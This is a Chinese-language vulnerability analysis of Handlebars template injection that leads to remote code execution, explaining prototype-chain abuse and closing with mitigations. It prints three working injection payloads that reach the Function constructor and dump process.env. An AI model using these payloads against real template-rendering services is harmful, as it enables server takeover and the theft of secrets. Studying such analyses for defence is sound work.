漏洞挖掘:Handlebars库 模板注入导致RCE 0day
字数 1146 2025-08-29 08:32:09
Handlebars 模板注入导致 RCE 漏洞分析与利用
漏洞概述
Handlebars 是一个流行的 JavaScript 模板引擎,该漏洞允许攻击者通过模板注入实现远程代码执行(RCE)。漏洞核心在于 Handlebars 模板中可以访问 JavaScript 构造函数,通过巧妙的构造可以实现沙盒逃逸并执行任意代码。
漏洞发现背景
该漏洞最初在 Shopify 的 "Return Magic" 应用中发现,该应用使用 Handlebars 作为模板引擎来处理电子邮件模板。攻击者可以通过注入恶意模板来获取服务器控制权。
漏洞原理分析
基本注入点
Handlebars 模板中可以使用 {{this}} 表达式,当注入 {{this}} 时返回 [object Object],这表明可以访问 JavaScript 对象原型链。
关键利用点
- 访问构造函数:通过
{{this.constructor}}可以访问 Object 构造函数 - 访问 Function 构造函数:通过
{{this.constructor.constructor}}可以访问 Function 构造函数 - Helpers 函数特性:Handlebars 的 helpers 函数如
with可以改变模板上下文
利用难点
- Handlebars 编译器会自动将模板范围内的 Object 添加为最后一个参数
- 需要绕过 JavaScript 的沙盒限制
- 需要处理函数调用时的额外参数问题
漏洞利用技术
方法一:重写 Object.prototype.toString
{{#with this as |test|}}
{{#with (test.constructor.getOwnPropertyDescriptor this "getStoreName")}}
{{#with (test.constructor.defineProperty test.constructor.prototype "toString" this)}}
{{#with (test.constructor.constructor "test")}} {{/with}}
{{/with}}
{{/with}}
{{/with}}
原理:
- 获取一个返回可控字符串的函数的属性描述符
- 用该描述符重写 Object.prototype.toString
- 调用 Function 构造函数时,toString 会被调用,执行我们的代码
方法二:使用 bind() 函数
{{#with this as |obj|}}
{{#with (obj.constructor.keys "1") as |arr|}}
{{arr.pop}}
{{arr.push obj.constructor.name.constructor.bind}}
{{arr.pop}}
{{arr.push "console.log(process.env)"}}
{{arr.pop}}
{{#blockHelperMissing obj.constructor.name.constructor.bind}}
{{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
{{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
{{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
{{#with (obj.constructor.constructor "test")}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
{{/with}}
原理:
- 使用 bind() 创建一个新函数
- 重写 Object.prototype.toString
- 通过 Function 构造函数调用执行代码
方法三:简化版利用 (Matias 的方法)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
防护措施
- 升级 Handlebars:npm 已发布补丁禁止访问构造函数
- 输入过滤:对用户输入的模板内容进行严格过滤
- 沙盒隔离:在安全的沙盒环境中执行模板渲染
- 最小权限:模板渲染进程使用最小必要权限
总结
该漏洞展示了模板引擎中允许访问底层语言特性的危险性。通过巧妙的构造,攻击者可以利用 JavaScript 的原型链和函数特性实现沙盒逃逸。开发者在选择和使用模板引擎时应当充分了解其安全特性,并采取适当的防护措施。